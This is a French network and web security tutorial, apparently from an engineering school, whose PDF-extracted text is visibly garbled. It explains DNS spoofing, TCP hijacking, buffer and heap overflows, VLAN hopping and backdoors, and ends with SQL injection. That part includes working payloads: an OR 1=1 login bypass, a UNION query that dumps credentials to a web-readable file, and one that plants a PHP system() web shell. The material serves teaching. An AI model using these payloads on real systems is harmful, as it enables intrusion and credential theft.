et den d duire lalgorithme de cr ation de lISN (Initial Sequence Number). Le e e num ro de s quence est cod sur 32 bits et initialis a 1 au d marrage de la machine. Ensuite, il est e e e e ` e incr ment de 128000 par seconde et de 64000 par connection. Ce m canisme evite donc quune ane e e cienne connection vienne perturber une autre connection par un num ro trop proche. Il est bien de noter e que cet algorithme est uniquement valable pour les syst` mes d pendant du temps. e e Ce type dattaque est orchestr lorsque la victime ne se trouve pas dans le m me r seau que le cracker ou e e e ` quune authentication a laide de ladresse IP est requise. Si lattaquant se trouve dans le m me r seau e e que sa victime, la m thode du ARP spoong serait plus judicieuse, puisquil sera possible de d tourner e e ` e les paquets sans avoir a mettre hors service la machine dont ladresse a et usurp e. e 3.2.3 DNSspoong

Le principe de cette attaque est de rediriger un internaute sur un autre serveur Web (clone du serveur Web original) sans quil sen apercoive. An de se rendre sur un site tel que http ://www.truc.com, lordinateur doit pr alablement etablir une correspondance entre le nom www.truc.com est son adresse IP, puisque sur e Internet, les machines sont adressables uniquement via leurs adresses IP. Pour l tablissement de cette e

17

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

correspondance, lordinateur va interroger le serveur DNS10 du r seau (local). Si celui-ci ne connat e ` ` ladresse IP correspondant a ce nom de machine, il demandera a son serveur DNS sup rieur, et ainsi de e suite. La Figure 13 illustre cette hi rarchie. e

F IG . 13 Principe dinterrogation de serveurs DNS cascad es (arborescante) e Plusieurs principes de DNSspoong peuvent etre exploit . Ceux-ci ont un but commun : amener un e internaute sur un site quil crot etre le bon (par son design), alors quil sagt dune copie. Linternaute entrera alors en toute conance des donn es personnelles, qui pourront ensuite etre exploit e par le e e cracker qui aura mis en service la copie du site. ` DNS ID spoong La machine faisant une requ te DNS au serveur, emettra lURL du site a atteindre, e ainsi quun num ro (lidenticateur de la requ te). Le cracker devra alors sniffer le r seau an dintere e e cepter ce num ro pour lint grer dans sa r ponse DNS qui fournira ladresse IP de son choix (souvent e e e ladresse de son propre serveur Web). DNS Cache Poisoning Un serveur DNS utilise un principe de cache an d viter un surplus de trac e lorsque plusieurs internautes d sirent acc der au m me site. Ainsi il ne formulera quune seule requ te a e e e e ` son sup rieur pour un site donn . Le cracker fera donc une requ te DNS sur le serveur local (serveur de e e e ` son entreprise), ayant comme URL, le site a corrompre. Le serveur DNS local ne connaissant pas encore cette URL, enverra la requ te a son sup rieur. Le cracker r pondra au serveur DNS comme si c tait son e ` e e e sup rieur qui le faisait (en sp ciant ladresse IP de son serveur). Cette information sera donc stock e e e e ` dans le cache du serveur DNS local. De ce fait, toute personne de lentreprise d sirant acc der a lURL e e corrompue, se verra rediriger sur le site du cracker.

3.3

Hijacking

` e Cette attaque consiste a d tourner une connexion TCP qui etait etablie entre deux machines vers une tierce personne (le pirate). Cette attaque utilise une faiblesse du protocole TCP, en d synchronisant une e
10

Domain Name Server, Base de donn e distribu e permettant de retrouver lassociation : Nom dun site - adresse IP du site e e

18

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

` connection TCP pour la reprendre a son prot. La contrainte est que lune des machines doit se trouver sur le m me r seau de telle mani` re a pouvoir sniffer le trac et observer les num ros de s quences utilis s. e e e ` e e e ` Pour d synchroniser une connexion TCP, il faudra que le pirate envoye un segment TCP a lune des deux e machine avec le bon num ro de s quence et une valeur de ACK correcte en utilissant ladresse IP de la e e seconde machine. De ce fait, lorsque la seconde machine enverra son segment ayant le m me num ro e e de segment et la m me valeur de ACK que celui envoy par le pirate, son correspondant ignorera le e e message. La synchronisation est ainsi bris e. Ceci est donc valable pour une transmission client-serveur e ou serveur-client. En cas normal, lors denvoi de paquets TCP, les num ros de s quence evoluent selon la taille de la e e cargaison de la trame TCP (comme illustr a la Figure 14). e`

F IG . 14 evolution des num ros de s quences pour les transferts TCP e e Pour pouvoir effectuer cette attaque, il faut attendre par exemple que la victime se connecte sur un service demandant une authentication. Il sera ensuite possible de d synchroniser la connection TCP et dutiliser e la connexion et le compte de la victime. e La Figure 15, illustre la d synchronisation dune connexion TCP etablie entre un client (victime) et un serveur. Nous remarquons que le cracker envoie une trame au serveur de telle mani` re a d synchroniser e ` e la connection entre la victime et le serveur. Nous remarquons bien que maintenant le serveur demande le segment X+90 alors que le client va vouloir maintenant lui envoyer le X+80. Lorsque le serveur recevra une nouvelle trame de la victime (apr` s celle du cracker) le serveur nacceptera pas la trame puisque e le num ro de s quence ne sera plus celui attendu, il enverra alors un ACK en sp ciant le num ro de e e e e s quence attendu (X+90 dans notre cas). Lorsque la victime recevra ce ACK, elle g n rera aussi un ACK e e e puisque le num ro de s quence du ACK du serveur nest pas celui attendu. Nous nous retrouvons donc e e dans une situation de Ack Storm (multitude de ACK g n r ). Pour pallier ce probl` me, le cracker e ee e pourrait empoisonner le cache ARP du serveur en sp ciant que ladresse IP de la victime se trouve sur e son adresse MAC, ainsi la victime ne recevra pas de ACK. Maintenant si le cracker d sire se connecter sur le serveur en utilisant lidentit du client, il pourrait le e e faire sans m me tenter de r cup rer la connexion TCP de la victime, puisque etant sur le m me r seau e e e e e que celle-ci, il pourrait casser la connexion TCP de la victime de mani` re a ce que celle-ci se reconnecte e ` et que le cracker puisse prendre son login et mot de passe (en sniffant le r seau). Pour se pr munir de e e

19

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

cette attaque il sufra dutiliser SSH et un serveur FTP s curis , cryptant ainsi le payload des segments e e TCP.

F IG . 15 D synchronisation dune connexion TCP e

3.4

Buffer Overow

Le Buffer Overow est une attaque tr` s subtile exploitant les failles des applications. Lorsquun logiciel e ` ` est programm par une equipe, celle-ci est soumise a des contraintes dont celle du temps. Cest a cause e ` de cette contrainte que les logiciels sont souvent peu soumis a la phase de test. Il y a alors de grandes chances que quelques bugs subsistent dans le logiciel nal. Un buffer overow est la situation qui se produit quand dans un programme lorsquon place dans un espace m moire plus de donn es quil ne peut en contenir. Dans ce genre de situations, les donn es e e e sont quand m me ins r es en m moire m me si elles ecrasent des donn es quelles ne devraient pas. e ee e e e En ecrasant des donn es critiques du programme, ces donn es qui d bordent am` nent g n ralement le e e e e e e ` ` programme a crasher. Ce simple fait est d j` grave si lon pense a des serveurs qui ne peuvent ainsi ea ` plus remplir leur t che. Plus grave, en ecrasant certaines donn es, on peut arriver a prendre le contr le a e o du programme ce qui peut sav rer d sastreux si celui-ci tourne avec des droits privil gi s par exemple. e e e e Examinons un petit exemple (en C) de buffer overow :
1 2 3 4 5 6 7 8 9 10 #include <stdio.h>

main (int argc, char *argv[]) { char buffer[1]; if (argc > 1) strcpy(buffer,argv[1]); }

Ce programme ne fait rien de plus que de prendre le premier argument de la ligne commande et de le

20

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

placer dans un buffer. A aucun endroit du programme, la taille de largument de la ligne de commande na e et contr l e pour quil soit plus petit que le buffer qui laccueille. Le probl` me arrive quand lutilisateur oe e donne un argument plus grand que le buffer qui lui est r serv : e e
toto@debian:/Essai$ ./vuln a toto@debian:/Essai$ ./vuln aaaaa Segmentation fault

Le programme ecrit en dehors du buffer r serv qui fait crasher le programme (Segmentation fault ine e 11 a arr t lex cution du programme vuln puisque celui-ci tentait d crire hors dune dique que lOS ee e e plage m moire qui lui etait r serv e). e e e Il nous est possible de distinguer deux cat gories de buffer overow : e 1. D bordement dun buffer statique, Stack Overow e 2. D bordement dun buffer dynamique, Heap Overow e An de mieux comprendre la diff rence entre ces deux types de d bordement, il est n cessaire dacqu rir e e e e quelques notion sur lallocation de la m moire sur un syst` me dexploitation comme UNIX par exemple. e e La section suivante aborde donc ce sujet. 3.4.1 Structure de la m moire e

Gr ce au principe de m moire virtuelle, chaque programme, quand il est ex cut obtient un espace a e e e m moire enti` rement isol . La m moire est adress e par mots (4 octets) et couvre lespace dadresse e e e e e de 0x00000000 - 0xffffffff soit 4 Giga octets adressables. Le syst` me dexploitation Linux utilise pour e les programmes ex cutables, le format ELF1 (Executable Linking Format) qui est compos de plusieurs e e sections. Lespace virtuel est divis en deux zones : e Lespace user (0x00000000 - 0xbfffffff) et lespace kernel (0xc0000000 - 0xffffffff). Contrairement au ` kernel, avec lespace user, un processus user ne peut pas acc der a lespace kernel. Nous allons sure tout d tailler cet espace user car cest lui qui nous int resse. Un ex cutable ELF est transform en une e e e e image processus par le program loader. Pour cr er cette image en m moire, le program loader va mapper e e en m moire tous les loadable segments de lex cutable et des librairies requises au moyen de lappel e e syst` me mmap(). Les ex cutables sont charg s a ladresse m moire xe 0x080480002 appel e ( adresse e e e ` e e ( de base ) La gure 16 illustre les diff rentes zones dun programme en m moire physique. ). e e La zone .text Correspond au code du programme, cest-` -dire aux instructions. a ` La zone .data Contient les donn es globales initialis es, dont les valeurs sont connues a la compilation. e e La zone .bss Contient les donn es globales non-initialis es. e e Les deux zones .data et .bss sont r serv es et connues d` s la compilation. Une variable locale statique e e e (la d nition de la variable est pr c d mot-cl static) initialis e se retrouve dans la section .data alors e e e e e e ` quune variable locale static non initialis e se retrouve dans la section .bss. La pile quant a elle contient e
11

Syst` me dexploitation e

21

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

les variables locales. Elle fonctionne selon le principe LIFO (Last In First Out) et crot vers les adresses basses de la m moire. e

F IG . 16 Structure de la m moire physique allou e pour lex cution dun programme e e e

3.4.2

Stack Overow

Dans la majeure partie des programmes, il y a des sous-programmes ou fonctions qui lorsquelles sont appel es, ont pour effet de mettre en pile les arguments pass a celle-ci, suivi par ladresse de retour e e` 12 principal. Ensuite les donn es propres a la fonction sont aussi mises en pile (variables ` e du programme locales de celle-ci). Comme la plupart des programmes serveurs ou encore les stack de communication (TCP/IP) sont ecrit en C, et que lors de lex cution, aucun contr le nest op r sur la taille des param` tre e o ee e pass en m moire, il se peut que les param` tres pass s d passent la taille m moire r serv e dans la pile. e e e e e e e e Ces param` tres ecraseront alors des donn es utiles au syst` me dexploitation, comme ladresse de retour e e e de la fonction ou proc dure. e Admettons que le programme C fourni pr c demment soit la fonction dun programme. Lorsque ce e e programme atteindra lappel de celle-ci, il allouera la taille du param` tre local sur la pile (char buffer[1]), e e e o ee buffer sur la gure 17. Lors de la copie du param` tre dans le buffer allou , aucun contr le nest op r et celui-ci peut ais ment d passer la taille autoris e. Ceci impliquera donc un ecrasement des donn es d j` e e e e ea contenues dans la pile (gure 18), ce qui aura par exemple pour effet de modier ladresse de retour. 3.4.3 Heap Overow

Les Heap Overow repr sentent les buffers Overow situ s dans les autres segments m moires que la e e e pile : la section data, bss et heap. Cette technique exploite des buffer overow ayant lieu dans le heap (soit des buffers malloc 13 ) ou dans e
12 13

Il sagt de lendroit (adresse m moire) o` va devoir revenir le programme principal e u ` Buffers allou dynamiquement a laide de la m thode malloc() de C e e

22

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

F IG . 17 Etat de la pile avant le passage des param` tre de la fonction appel e e e

F IG . 18 Etat de la pile apr` s le passage des param` tre de la fonction appel e e e e dautres endroits m moires o` le heap peut etre ecras par d bordement. Cette technique se base sur e u e e la facon dont sont allou s puis lib r s les buffers en heap. Il est donc pour ce faire n cessaire de com e ee e prendre le fonctionnement de lallocation et d sallocation de la m moire dynamique (instruction malloc() e e et free() en C). Il est donc indispensable davoir en t te, la structure de la m moire pouvant etre allou e e e e dynamiquement. Un chunk est une structure repr sentant un bloc allou ou libre de m moire. Les chunks libres sont e e e class s dans une liste doublement chan e dont les pointeurs (bin) sont stock s au d but du chunk. Ainsi e e e e un chunk libre aura la structure suivante en m moire (Figure 19) : e Lors dallocation dun chunk par malloc()14 , il commence par parcourir la liste des chunks libres pour en trouver un de taille ad quate. Une fois un chunk de bonne taille trouv , celui-ci est allou et sorti de e e e la double liste chan e. e Lors de la d sallocation de m moire, il faudra replacer le chunk dans la liste chan e des chunk vide. e e e ` En ecrasant la valeur de ladresses du chunks voisin (dans le chunk allou ), il sera possible d crire a un e e emplacement m moire arbitraire, une valeur quelconque. Il sera aini possible de r ecrire ladresse dun e e
14

Impl mentation pr sente dans les syst` mes GNU/Linux ( crite par Doug Lea) e e e e

23

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

F IG . 19 Structure des chunks vides pointeur de fonction (stock dans la GOT15 ), an que la prochaine fontion qui appelle ce pointeur, envoi e le programme dans le bout de code voulu (shell code, etc...). 3.4.4 En r sum e e

` Ce genre dattaque nest pas triviale a mettre en oeuvre, puisquelle recquiert de tr` s bonnes connaise sances en assembleur et implique que le cracker test diff rents passages de param` tres au programme e e an dobserver si un d bordement de m moire est possible. De plus, si celui-ci veut que le d bordement e e e du buffer ecrase ladresse de retour de la proc dure ou de la fonctinon, cela implique une observation e ` tr` s pr cise de l tat de la m moire ainsi quun calcul du nombre de bytes a injecter dans le param` tre. e e e e e L crasement de ladresse de retour est quelque chose de tr` s pris dans le domaine de la piraterie infore e e matique, puisquil permettrait au cracker denvoyer le programme principale dans le bout de code quil d sire. Ces attaques sont par contre possibles uniquement avec des langages des bas niveau (comme C), e puisque les autres langages contr les syst matiquement la taille des param` tres pass s a un buffer (ou o e e e ` tableau).

3.5
3.5.1

Attaques du niveau 2 du mod` le OSI e


Attaque sur un Switch

Cette attaque a pour objectif de remplir la table CAM16 du Switch pour quil devienne un hub. Pour cela il faut g n rer des paquets avec des adresses MAC sources diff rentes pour que le Switch associe ces e e e ` diff rentes adresses MAC a un port. En effet, lorsque la table CAM sera pleine et que le Switch recevra e des messages destin s a une adresse MAC inconnue (de la table CAM), il ne saura o` les envoyer. Suivant e ` u la conguration du Switch pour les messages dont il ne connat pas ladresse MAC de destination, il est ` fort probable quil les envoie sur tous ses ports (fonctionnement similaire a un Hub). La Figure 20 illustre cette attaque.
15 16

Global Offset Table Table enregistrant lassociation adresse MAC - Port, dans le Switch

24

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

F IG . 20 Attaque sur un Switch 3.5.2 VLAN Hopping

Il sagit dune attaque orchestr e sur des utilisateurs se trouvant sur un VLAN diff rent de celui du e e cracker. Lorsque des VLANs sont cr es (gure 21), les utilisateurs du m me VLAN peuvent echanger e e du trac mais le trac entre VLANs nest (th oriquement) pas possible. Pour que les VLANs puissent e etre garantis entre des switchs, les paquets transitent sur le trunk via un protocole tel que : 802.1Q ou ISL. De cette mani` re, le switch recevant un paquet saura sur quel VLAN le router. e

F IG . 21 Topoplogie dun VLAN e Lattaque consiste en lenvoi par le Hacker se trouvant sur un VLAN diff rent de celui de la victime ` dun message de double encapsulation an que ce message passe dun VLAN a lautre. Il sagt donc de lenvoi dun paquet ayant une double encapsulation du protocole 802.1Q, de telle mani` re a ce que e ` la premi` re encapsulation soit d tect e par le premier Switch et la seconde, par le second Switch qui e e e dirigera les paquets sur le VLAN de la cible. Cette situation implique donc lutilisation dun trunk17 an que la seconde encapsulation puisse etre interpr t e par le second Switch. Le protocole 802.1Q ee contient un champ identiant le VLAN. Dans la premi` re encapsulation ce champ correspond au VLAN e du cracker et dans la seconde le champ correspondra au VLAN de la victime. La gure 22 illustre la
17

Connexion commune entre deux Switch acheminant le trac de diff rents VLANs e

25

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

double encapsulation.

F IG . 22 Attaque par VLAN Hopping

3.6

Troyens et Backdoors

Le nom troyen provient de la l gende mythologique du cheval de Troie. Cest pour ceci, que lon ape pelle troyen, tout programme utile contenant un second programme qui lui est malveillant. Ce second ` programme est tr` s souvent un backdoor permettant au cracker de g rer lordinateur de la victime a dise e tance. Lobjectif de ces programmes malveillants cach s dans un logiciel utile est de laisser une porte ouverte, e de facon a ce que le cracker puisse revenir sans probl` mes. Une fois sur le syst` me, les backdoors se lient ` e e ` a des applications, modient la base de registre de mani` re a etre ex cut s d` s le lancement du syst` me. e ` e e e e Ils sont actifs en permanence et sont difcilement ou pas d tectable par le syst` me. En regardant dans le e e gestionnaire de t ches, le backdoor ne safchera pas, ou afchera un nom de programme banal, comme : a note.exe, winamp34.exe. ` Comme les anti-viruses d tectent les backdoors ou les viruses a laide de signatures18 , il sufrait au crae cker de changer quelques lignes du code source du backdoor puis de le recompiler an de changer sa signature. Il ne serait maitenant plus d tectable par la signature qui le caract risait pr c demment. e e e e La seconde solution pour la d tection de backdoors est dobserver si un port suspect est ouvert sur la e ` machine a contr ler. Si cest le cas, ceci signierai que le backdoor est un programme serveur autorisant o des connexions (du cracker) de lext rieur. Malheureusement bon nombre de backdoors sont des proe grammes clients se connectant automatiquement sur la machine du cracker ofciant en tant que serveur. ` Il ne sera donc pas possible de d tecter le backdoor a laide dun scannage de port. Un rewall bloquant e tout le trac sortant, sauf le trac Web (dont le port de destination vaut 80) permettrait d viter la restrice tion de d tection introduite par le scannage de port. Malheureusement, il est possible que le programme e serveur du cracker attende les connexions de ses victimes sur le port 80. De ce fait, le rewall laisserait ` passer les informations a destination du cracker.
18

Suite de bits caract risant le virus ou le backdoor e

26

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

Les attaques Web

Au m me titre quune application classique ou quun syst` me dexploitation, les applications Web e e peuvent pr senter des failles de s curit . Cela est dautant plus grave que les applications Web manie e e pulent parfois des donn es condentielles (mots de passe, num ros de cartes bancaires) et quelles sont e e g n ralement d ploy es sur Internet et donc expos es au public. M me sur un serveur Web s curis toure e e e e e e e nant sur un syst` me dexploitation r put s r (Apache sur OpenBSD, par exemple), des failles de s curit e e e u e e ` peuvent subsister, car elles sont la plupart du temps dues a des fautes de programmation de lapplication elle-m me, et non du serveur. e Un rewall IP conventionnel permet de ltrer au niveau de la couche r seau (IP) et de la couche transe port (TCP,UDP). Les r` gles sont d nies en fonction de ladresse IP source, ladresse IP de destination, e e le num ro de port source, le num ro de port de destination, l tat de la connexion (ags), linterface e e e dentr e et de sortie du rewall, etc... Un rewall IP noffre absolument aucune protection contre les e attaques visant les applications Web, dans la mesure o` celles-ci ont lieu au niveau applicatif : elles utiu lisent le protocole HTTP sur le port 80, au m me titre que le trac Web ordinaire. Pourtant, de SOAP e aux applets Java en passant par les scripts ActiveX, un grand nombre de menaces peuvent etre v hicul es e e par ce canal apparamment inoffensif et qui est laiss ouverts sur la plupart des rewalls dentreprise. La e e gure 23 illustre bien la probl matique des protocoles pouvant contenir des scripts malveillants, passant par le port HTTP.

F IG . 23 Port e dun rewall de niveau 3 et 4 du mod` le OSI e e ` Un des majeur probl` me des applications Web a architecture 3-ti` re (Figure 24), viens du fait que celle-ci e e

27

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

` F IG . 24 Application Web a architecture 3-tiers envoie directement ses requ tes SQL vers le SGBD1 . Si lapplication ne prend pas garde aux formats des e param` tes saisi par lutilisateur de la page web, avant de les inclure dans une requ te SQL, il se peut que e e les tuples retourn par le SGBD soient totalement invalide. En effet, lutilisateur aura la possibilit de e e fournir des param` tres de syntaxe SQL, sans que lapplication Web ne sen rende compte. Les eventuelles e cracker auront donc la possibilit de formater les param` tres entr s sur la page Web, an que la requ te e e e e leur retourne des informations pertinentes.
1

Syst` me de Gestion de Base de Donn e e e

28

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

4.1

Le top 10 des attaques Web

` 4.2 LOWASP19 tient a jour un classement des 10 vuln rabilit s les plus rencontr es dans les applications e e e Web. Celles-ci sont donn es dans le tableau ci-dessous : e
19

The Open Web Application Security Project

29

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

Param` tres non-valid s e e

Faille dans le contr le dacc` s o e

Vol de session

Cross-Site-Scripting (XSS)

Buffer Overow (BOF)

Injection de commandes

Mauvaise gestion des erreurs

Mauvaise utilisation de la cryptographie

Faille dans ladministration distante Mauvaise conguration du serveur Web ou dapplication

Les informations transmises avec la requ tes ne sont pas valid es e e avant d tre utilis s par lapplication Web. Si celle-ci les utilises e e directement pour interroger la base de donn e, lutilisateur peut e formater ces param` tres de facon a tirer des informations auxe ` quelles il naurait normalement pas acc` s e Les restrictions sur ce que les utilisateurs authenti s ont le droit e de faire ne sont pas assez solides. Un attaquant peut utiliser ces failles pour acc der aux comptes dautres utilisateurs, voir de e chiers sensibles ou utiliser des fonctions non-autoris es. e Le m canisme de maintien de la session nest pas assez s r : late u taquant qui peut compromettre une cl de session ou un cookie e peut acc der aux privi` ges dun autre utilisateur e e Lapplication Web peut etre utilis e comme interm diaire pour e e ` attaquer lun de ses utilisateurs et ex cuter du code a son insu e dans le contexte de lapplication Web pour, par exemple, voler sa cl de session e Lapplication ne contr le pas la dimension des param` tres recus o e avant de les ecrire en m moire. Cette faille peut etre utilis e pour e e aller y ecrire du code ex cutable et modier le comportement de e lapplication Lapplication utilise lors de lacc` s a des commandes externes ou e ` au syst` me dexploitation des param` tres non-valid s qui peuvent e e e etre utilis s par lattaquant pour ex cuter des commandes malie e ceuses La gestion des erreurs nest pas r alis e correctement. Lattae e quant peut d clencher des erreurs qui ne sont pas g r es par lape ee plication Web et ainsi obtenir des informations d taill es sur le e e syst` me, ou compromettre le serveur e ` Les applications Web font fr quemment appel a des fonctions e de cryptographie pour assurer lint grit et la condentialit des e e e donn es. Certains de ses algorithmes ou leurs impl mentations e e peuvent comporter des failles de s curit e e Beaucoup dapplications Web comportent un syst` me dadminise ` tration a distance, qui sil nest pas correctement prot g , peut e e ` permettre a un de gagner les privil` ges de ladministrateur e La s curit de lapplication Web repose sur celle du serveur Web, e e du serveur dapplication et du syst` me dexploitation. Ceux-ci ne e sont g n ralement pas s curis s avec la conguration par d faut e e e e e

30

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

4.2

SQL Injection

Le SQL injection est une technique permettant dexploiter des failles dans les applications Web qui utilisent les donn es entr es par un client an deffectuer des requ tes a une base de donn e (Applications e e e ` e ` Web a architecture 3-ti` re). Ces failles viennent uniquement dun manque de contr le des donn es ine o e troduite par les clients. Ceux-ci auront donc la possibilit dins rer des caract` res qui seront interpr t e e e ee 20 et qui retourneront un r sultat non pr vu par le programmeur de lapplication. Il sera par le SGBD e e ainsi possible dans certain cas, de contourner les m thodes dauthentication mises en place sur un site e Web. Il sagt donc dun cas dapplication dune vuln rabilit de Param` tres non-valid s pr sent dans e e e e e e le tableau du paragraphe . 4.2.1 Evaluation de lSQL Injection sur une application/script Web ` An de permettre le test de vuln rabilit dune application Web a lSQL Injection , il est indispensable de e e ` fournir a chaque fois tous les param` tres requis par la page Web, puisquil se pourrait que lapplication e e Web neffectue aucune requ te au SGBD tant que tous les champs nont pas et compl t . e ee Si une page Web derreur vous est retourn e apr` s une tentative dinjection SQL, cela signie que la e e requ te SQL emise au SGBD etait mal format e. Dans un certain sens, cela signie que linjection SQL e e a fonctionn , puisquelle aura lev une erreur sur le SGBD. e e ` Bien des applications retournent les causes de lerreur a lutilisateur via une page Web, ou m me la e ` portion de code a lorigine de lerreur. Il est donc tr` s important de consulter ces notications, qui pere mettront peut etre de tirer des informations sur la requ te effectu e par lapplication Web. De plus, il e e est important de contr ler les ent tes HTTP des messages derreurs recu, puisquil arrive que ceux-ci o e contiennent des informations sur lerreur produite par linjection SQL. Il est aussi courant dobserver une redirection (code derreur HTTP 302) lors dune erreur, indiquant au browser Web du client de char ger une nouvelle page. Etant donn que le browser du client appel automatiquement cette nouvelle page, e il est possible que le message derreur envoy par lapplication Web soit totalement ignor par le browser e e du client. Toutes ces analyses permettront au cracker de collecter des informations pertinantes sur lapplication Web an dafner son injection. Il est ensuite indispensable de contr ler si une injection direct est possible. Linjection directe signie o que les param` tres entr par le client sont directement utilis dans la requ te SQL sans ajout de caract` res e e e e e d chapement (comme des apostrophes). Il nous est alors possible de d nir deux types dinjection SQL : e e 1. Linjection directe (Direct injection) 2. Linjection apostroph e (Quoted injection) e
20

Serveur de Gestion de Base de Donn e (Serveur MySql par exemple) e

31

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

4.2.2

Injection directe

Les exemples ci-dessous nous pr sentent des requ tes SQL contenues dans un script ASP, permettant e e une injection SQL directe. En effet, le param` tre IntEmployeeID est directement ins r dans la requ te e ee e SQL sans aucun ajout dapostrophe. Linjection directe de SQL sera donc principalement possible sur des param` tres manipulants des num ros, des noms de tables ou de colonnes, puisque en SQL, toutes e e chane de caract` re est entour e dapostrophe. e e
SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE Employee = " & intEmployeeID SQLString = "SELECT FirstName, LastName, Title FROM Employees ORDER BY " & strColumn

Il sagra donc dans ce cas, dune simple concat nation entre Strings, puisque le param` tre entr par e e e ` lutilisateur sera simplement appondu a la requ te SQL. Il sera d` s lors possible de modier la requ te e e e ` sans avoir a se soucier des apostrophes, commes nous le verrons dans la section suivante (Injection apostroph e). e 4.2.3 Injection apostroph e e

` Linjection apostroph e oblige donc le cracker a jouer avec les apostrophes, an que la requ te reste en e e tout temps valide. Il faut donc que chaque apostrophe soit dans un bon contexte et que chaque apostrophe ouvert soit referm . e
SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE EmployeeID = " & strCity & ""

Il est bien entendu possible de contourner lobligation de toujours former une requ te valide avec les e apostrophes, en commentant une partie de la requ te SQL. Il est par exemple possible dans une requ te e e ` destin e a un SGBD MySql, de commenter la n dune ligne a laide de , ou encore /*. Il est e ` important de noter que ce genre de commentaire sera uniquement interpr t par le SGBD et gurera tel ee quel dans le String formant la requ te (SQLString, dans les exemples ci-dessus). Il ne sagt donc pas e dun commentaire dans le script ou lapplication Web elle-m me. e 4.2.4 Exemple dattaques

Les parenth` ses Celles-ci peuvent etre utilis e dans des requ tes SQL an de donner un ordre de e e e pr c dence pour l valuation dune condition. Il est donc n cessaire, au m me titre que pour les apose e e e e ` trophe, de toujours cr er une requ te valide. Il faudra donc bien prendre garde a toujours fermer les e e parenth` ses ouvertes. Il est donc dans ces cas l` , tr` s int ressant dobserver les messages derreurs, qui e a e e peuvent fournir de pr cieuses informations sur la syntaxe de la requ te et les parenth` ses utilis es. e e e e Contournement dauthentication Lexemple ci-dessous illustre le cas typique dun scripte ASP dauthentication vuln rable au SQL Injection apostroph : e e

32

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

SQLQuery = "SELECT Username FROM Users WHERE Username = " & strUsername & " AND Password = " & strPassword & "" strAuthCheck = GetQueryResult(SQLQuery) If strAuthCheck = "" Then boolAuthenticated = False Else boolAuthenticated = True End If

Comme celui-ci se base uniquement sur le bon fonctionnement de la requ te (si la requ te retourne un e e tuple, cela signie que lutilisateur est enregistr ), il est facile de faire croire que celle-ci sest effectivee ment effectu e. e Dans ce cas dinjection, nous allons simplement jouer avec les apostrophes an que la requ te reste toue jours valide. Nous allons donc entrer : strUsername : x OR 1=1 strPassword : y OR 1=1 La requ te deviendra donc : e
SELECT Username FROM Users WHERE Username = x OR 1=1 AND Password = y OR 1=1

L valuation de la clause WHERE, fournira toujours la valeur TRUE, ce qui aura pour effet de retourner e toute la table User. La requ te retournera donc une valeur, et lauthentication sera valid e. De plus, sur e e un SGBD MySql, il sera possible dutiliser lop rateur LIMIT an de placer le tuple d sir en premi` re e e e e e e e e position dans le recordset21 retourn par la requ te. Bien souvent lapplication Web r cup` rera le nom dutilisateur fourni par le recordset an didentier la personne logg e. Dans le cas dinjection SQL e mentionn e ci-dessus, toute la liste des utilisateurs sera contenue dans le recordset. Lapplication Web e prendra donc le premier identiant de la liste pour d nir le nom de la personne logg e. Cest donc l` e e a ` que lop rateur LIMIT est int ressant, puisquil permettra de s lectionner le tuple a placer en t te du e e e e recordset retourn . Il sera ainsi possible de chercher le compte permettant par exemple dadministrer le e site Web. Exemple : strUsername : x OR 1=1 strPassword : y OR 1=1 LIMIT 2,5 /* En voici la requ te correspondante : e
SELECT Username FROM Users WHERE Username = x OR 1=1 AND Password = y OR 1=1 LIMIT 2,5 /*

Le recordset contenant le r sultat de cette requ te contiendra donc 5 tuples au maximum avec le second e e en t te de liste. e Utilisation de lop rateur UNION et de la clause INTO DUMPFILE de Mysql L op rateur UNION e e permet de concat ner le r sultat de deux requ tes SQL, pour autant que le nombre de colonnes retourn e e e e par les deux requ tes soit identique. Il permettra donc dajouter une seconde requ te a celle pr format e e e ` e e dans un script ou une application Web. Cette m thode implique la connaissance du nom de la table qui e
21

Structure de donn e repr sentant la liste de tuple retourn par une requ te e e e e

33

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

nous int resse, puisque la clause FROM doit obligatoirement sp cier au moins une table valide. e e Sous MySql par exemple, il sera possible dutiliser cette op rateur avec la clause INTO DUMPFILE e qui permet de stocker le r sultat de la requ te dans un chier. Il sera donc envisageable de modier une e e requ te an den stocker le r sultats dans un chier accessible par un client du serveur Web : e e
SELECT titre, num FROM livres WHERE num=2 UNION SELECT login, password FROM user INTO DUMPFILE cheminVers/siteWeb/bonheur.txt

Lutilisateur pourrait donc entrer : 2 UNION SELECT login, password FROM user INTO DUMPFILE cheminVers/siteWeb/bonheur.txt Il lui serait ensuite possible de consulter le chier cr e contenant toutes les paires login/password sur le e serveur Web. Prenons lexemple suivant en PHP22 :
SELECT <? system(ls); ?> FROM <tableExistante> INTO DUMPFILE cheminVers/siteWeb/reslutat.php

